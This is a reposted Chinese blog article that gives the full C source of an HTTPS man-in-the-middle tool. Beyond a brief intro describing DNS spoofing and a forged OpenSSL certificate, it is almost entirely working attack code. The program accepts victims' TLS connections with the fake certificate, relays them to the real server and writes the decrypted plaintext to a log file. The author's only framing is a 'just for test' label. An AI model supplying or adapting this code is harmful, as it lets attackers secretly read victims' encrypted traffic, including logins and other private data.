HTTPS中间人攻击源代码(08年代码)

来源:互联网 发布:局部二值模式算法 编辑:程序博客网 时间:2024/05/15 05:47
转自: http://www.yuanma.org/data/2007/0126/article_2183.htm 
 
by 云舒   
一段测试性质的代码,自己做一个伪造的证书,然后使用DNS SPOOF 引导被攻击者访问攻击者机器,攻击者作为中间人记录明文的数据传输。附件里面是我测试时使用的伪造的证书,使用OPENSSL生成的。  
 
代码:  
#include <stdio.h>  
#include <winsock2.h>  
#include <openssl/ssl.h>  
#include <openssl/err.h>  
 
#pragma comment ( lib, "libeay32.lib" )  
#pragma comment ( lib, "ssleay32.lib" )  
#pragma comment ( lib, "ws2_32.lib" )  
 
#define    PRIVATE_KEY_PWD        "1234"  
#define    CERT_FILE            "yunshu.crt"  
#define    KEY_FILE            "yunshu.key"  
#define    MAX_USER            10  
#define    LISTEN_PORT            443  
#define    TIME_OUT            1000000    // 1秒  
 
#define    DEBUG  
 
#ifdef DEBUG  
    #define    LOG_FILE            "c:\https.txt"  
    // 记录数据到文件  
    void    Log_File( char *str );  
#endif  
 
 
// 目的主机  
char            target_host[20] = { 0 };  
unsigned int    target_port = 0;  
 
// 输出SSL错误函数  
void    SSL_Error( char *custom_string );  
 
 
// 初始化SSL库作为服务端  
SSL        *Server_SSL_Init( );  
 
// 初始化SSL库作为客户端  
SSL        *Client_SSL_Init( );  
 
// 初始化Socket作为服务端  
SOCKET    Server_Socket_Init( );  
 
// 初始化Socket作为客户端  
SOCKET    Client_Socket_Init( );  
 
// 处理客户端函数  
void    WINAPI    FowardPacket( LPVOID argument );  
 
// 程序入口,主函数  
int main( int argc, char *argv[] )  
{  
    if( argc != 3 )  
    {  
        printf( "Usage: %s   <target_host>   <target_port>\n", argv[0] );  
        printf( "Code by 云舒,just for test!\n" );  
 
        return -1;  
    }  
 
    SOCKET    server_sock = Server_Socket_Init( );  
    if( INVALID_SOCKET == server_sock )  
    {  
        return -1;  
    }  
      
    // 加载加密算法库  
    SSL_library_init( );  
 
    // 加载错误信息库  
    SSL_load_error_strings( );  
 
    // 开始接受连接  
    SOCKET            client_sock;        // 来自被攻击者的socket  
    SOCKADDR_IN        client_sin;  
    int                sin_len = sizeof(SOCKADDR_IN);  
 
    target_port = atoi( argv[2] );  
    struct hostent *phost = gethostbyname( argv[1] );  
    if( phost == NULL )  
    {  
        printf( "Resolve %s error!\n" , argv[1] );  
        return -1;  
    }  
    memset( (void *)&client_sin, 0, sizeof(SOCKADDR_IN) );  
    memcpy( &client_sin.sin_addr , phost->h_addr_list[0] , phost->h_length );  
    strcpy( target_host, inet_ntoa( client_sin.sin_addr ) );  
    printf( "Target host is %s(%s), port is %d\n", target_host, argv[1], target_port );  
 
    memset( (void *)&client_sin, 0, sizeof(SOCKADDR_IN) );  
    while( TRUE )  
    {  
        client_sock = accept( server_sock, (struct sockaddr *)&client_sin, &sin_len );  
 
        printf( "connect from %s\n", inet_ntoa( client_sin.sin_addr ) );  
          
        if( SOCKET_ERROR == client_sock )  
        {  
            printf( "accept error.\n" );  
            continue;  
        }  
 
        HANDLE    h_thread;  
        DWORD    thread_id = 0;  
 
        h_thread = CreateThread( NULL, 0, (LPTHREAD_START_ROUTINE)FowardPacket, (LPVOID)&client_sock, 0, &thread_id );  
        if( NULL == h_thread )  
        {  
            printf( "create thread error.\n" );  
        }  
 
        CloseHandle( h_thread );  
    }  
 
    closesocket( server_sock );      
    WSACleanup( );  
 
    return 0;  
}  
 
void WINAPI FowardPacket( LPVOID argument )  
{  
    char    buffer[2048] = { 0 };  
 
    // 生成SSL,作为服务端,响应被攻击者的请求  
    SSL    *server_ssl = Server_SSL_Init( );  
    if( NULL == server_ssl )  
    {  
        return;  
    }  
 
    printf( "Init ssl as server success!\n" );  
 
    // 生成SSL,作为客户端,向真实主机发起请求  
    SSL    *client_ssl = Client_SSL_Init( );  
    if( NULL == client_ssl )  
    {  
        return;  
    }  
 
    printf( "Init ssl as client success!\n" );  
 
    // 作为服务端端的socket,响应被攻击者的请求  
    SOCKET    server_sock = (SOCKET)(*(SOCKET *)argument);  
 
    // 绑定ssl和socket,此处作为被攻击者的服务器  
    SSL_set_fd( server_ssl, server_sock );  
 
    int ret = SSL_accept( server_ssl );  
    if( -1 == ret )  
    {  
        SSL_Error( "SSL_accept error" );  
        return;  
    }  
 
    // 作为客户端的socket,向真实主机发起请求  
    SOCKET    client_sock = Client_Socket_Init( );  
    if( INVALID_SOCKET == client_sock )  
    {  
        return;  
    }  
      
    SSL_set_fd( client_ssl, client_sock );  
    ret = SSL_connect( client_ssl );  
    if( -1 == ret )  
    {  
        SSL_Error( "SSL_connect error" );  
        return;  
    }  
 
    fd_set    fd_read;  
    timeval    time_out;  
 
    while( TRUE )  
    {  
        time_out.tv_sec = 0;  
        time_out.tv_usec = TIME_OUT;  
 
        FD_ZERO( &fd_read );  
        FD_SET( server_sock, &fd_read );  
        FD_SET( client_sock, &fd_read );  
 
        ret = select( 0, &fd_read, NULL, NULL, &time_out );  
        if( SOCKET_ERROR == ret )  
        {  
            printf( "socket error: %d\n", GetLastError() );  
            break;  
        }  
        else if( 0 == ret )  
        {  
            continue;  
        }  
        else  
        {  
            if( FD_ISSET( server_sock, &fd_read ) )  
            {  
                memset( (void *)buffer, 0, sizeof(buffer) );  
 
                ret = SSL_read( server_ssl, buffer, sizeof(buffer) );  
                if( ret > 0 )  
                {  
                    ret = SSL_write( client_ssl, buffer, strlen(buffer) );  
                    if( strlen(buffer) != ret )  
                    {  
                        SSL_Error( "Send data to real server error" );  
                    }  
                    else  
                    {  
                        printf( "send %d bytes to real server\n", ret );  
                          
                        #ifdef DEBUG  
                            Log_File( buffer );  
                        #endif  
                    }  
                }  
            }  
            else if( FD_ISSET( client_sock, &fd_read ) )  
            {  
                memset( (void *)buffer, 0, sizeof(buffer) );  
 
                ret = SSL_read( client_ssl, buffer, sizeof(buffer) );  
                if( ret > 0 )  
                {  
                    //printf( "RESPONSE:\n\t%s\n", buffer );  
 
                    ret = SSL_write( server_ssl, buffer, strlen(buffer) );  
                    if( strlen(buffer) != ret )  
                    {  
                        SSL_Error( "Send data to customer error" );  
                    }  
                    else  
                    {  
                        printf( "send %d bytes to customer's host\n", ret );  
                          
                        #ifdef DEBUG  
                            Log_File( buffer );  
                        #endif  
                    }  
                }  
            }  
        }  
    }  
      
    SSL_shutdown( server_ssl );  
    SSL_shutdown( client_ssl );  
    SSL_free( server_ssl );  
    SSL_free( client_ssl );  
 
    closesocket( server_sock );  
    closesocket( client_sock );  
 
    return;  
}  
 
void SSL_Error( char *custom_string )  
{  
    char    error_buffer[256] = { 0 };  
      
    printf( "%s, ", custom_string );  
    ERR_error_string( ERR_get_error(), error_buffer );  
    printf( "%s\n", error_buffer );  
}  
 
SSL    *Server_SSL_Init( )  
{  
    // 加载SSL环境  
    SSL_CTX    *server_ctx = SSL_CTX_new( SSLv23_server_method() );  
    if( NULL == server_ctx )  
    {  
        SSL_Error( "Init ssl ctx error" );  
        return NULL;  
    }  
 
    // 设置证书文件的口令  
    SSL_CTX_set_default_passwd_cb_userdata( server_ctx, PRIVATE_KEY_PWD );  
 
    // 加载证书  
    if( SSL_CTX_use_certificate_file( server_ctx, CERT_FILE, SSL_FILETYPE_PEM ) <= 0 )  
    {  
        SSL_Error( "Load cert file error" );  
        return NULL;  
    }  
 
    // 加载私钥  
    if( SSL_CTX_use_PrivateKey_file( server_ctx, KEY_FILE, SSL_FILETYPE_PEM ) <= 0 )  
    {  
        SSL_Error( "Load cert file error" );  
        return NULL;  
    }  
 
    // 检查私钥和证书是否匹配  
    if( !SSL_CTX_check_private_key( server_ctx ) )  
    {  
        printf( "Private key does not match the certificate public key\n" );  
        return NULL;  
    }  
 
    SSL    *ssl = SSL_new (server_ctx);  
    if( NULL == ssl )  
    {  
        SSL_Error( "Create ssl error" );  
        return NULL;  
    }  
 
    return ssl;  
}  
 
SSL    *Client_SSL_Init( )  
{  
    SSL_CTX    *client_ctx;  
 
    client_ctx = SSL_CTX_new( SSLv23_client_method() );  
 
    if( NULL == client_ctx )  
    {  
        SSL_Error( "Init ssl ctx error" );  
        return NULL;  
    }  
 
    SSL    *ssl = SSL_new (client_ctx);  
    if( NULL == ssl )  
    {  
        SSL_Error( "Create ssl error" );  
        return NULL;  
    }  
 
    return ssl;  
}  
 
SOCKET    Server_Socket_Init( )  
{  
    WSADATA        wsa;  
 
    WSAStartup( 0x0202, &wsa );  
      
    SOCKET    sock = socket( AF_INET, SOCK_STREAM, 0 );  
    if( INVALID_SOCKET == sock )  
    {  
        printf( "Create socket as a server error" );  
        return INVALID_SOCKET;  
    }  
 
    SOCKADDR_IN    server_sin;  
    memset( (void *)&server_sin, 0, sizeof(SOCKADDR_IN) );  
 
    server_sin.sin_family = AF_INET;  
    server_sin.sin_addr.S_un.S_addr = INADDR_ANY;  
    server_sin.sin_port = htons( 443 );  
 
    int    ret = bind( sock, (struct sockaddr *)&server_sin, sizeof(SOCKADDR_IN) );  
    if( SOCKET_ERROR == ret )  
    {  
        printf( "bind error: %d\n", GetLastError() );  
        return INVALID_SOCKET;  
    }  
 
    ret = listen( sock, MAX_USER );  
    if( SOCKET_ERROR == ret )  
    {  
        printf( "listen error.\n" );  
        return INVALID_SOCKET;  
    }  
 
    printf( "Listening on all local ip address, waiting for connect...\n" );  
 
    return sock;  
}  
 
SOCKET    Client_Socket_Init( )  
{  
    SOCKET    client_sock = socket( AF_INET, SOCK_STREAM, 0 );  
 
    if( INVALID_SOCKET == client_sock )  
    {  
        printf( "create socket as a client error.\n" );  
        return -1;  
    }  
      
    SOCKADDR_IN        client_sin;  
    memset( (void *)&client_sin, 0, sizeof(SOCKADDR_IN) );  
 
    client_sin.sin_family = AF_INET;  
    client_sin.sin_addr.S_un.S_addr = inet_addr( target_host );  
    client_sin.sin_port = htons( target_port );  
 
    int ret = connect( client_sock, (struct sockaddr *)&client_sin, sizeof(SOCKADDR_IN) );  
    if( SOCKET_ERROR == ret )  
    {  
        printf( "connect to real server %s error", target_host );  
        return INVALID_SOCKET;  
    }  
 
    printf( "connect to real server success!\n" );  
 
    return client_sock;  
}  
 
#ifdef    DEBUG  
void    Log_File( char * str )  
{  
    FILE    *fp = fopen( LOG_FILE, "w+" );  
    if( NULL == fp )  
    {  
        return;  
    }  
 
    fputs( str, fp );  
      
    fclose( fp );  
}  
#endif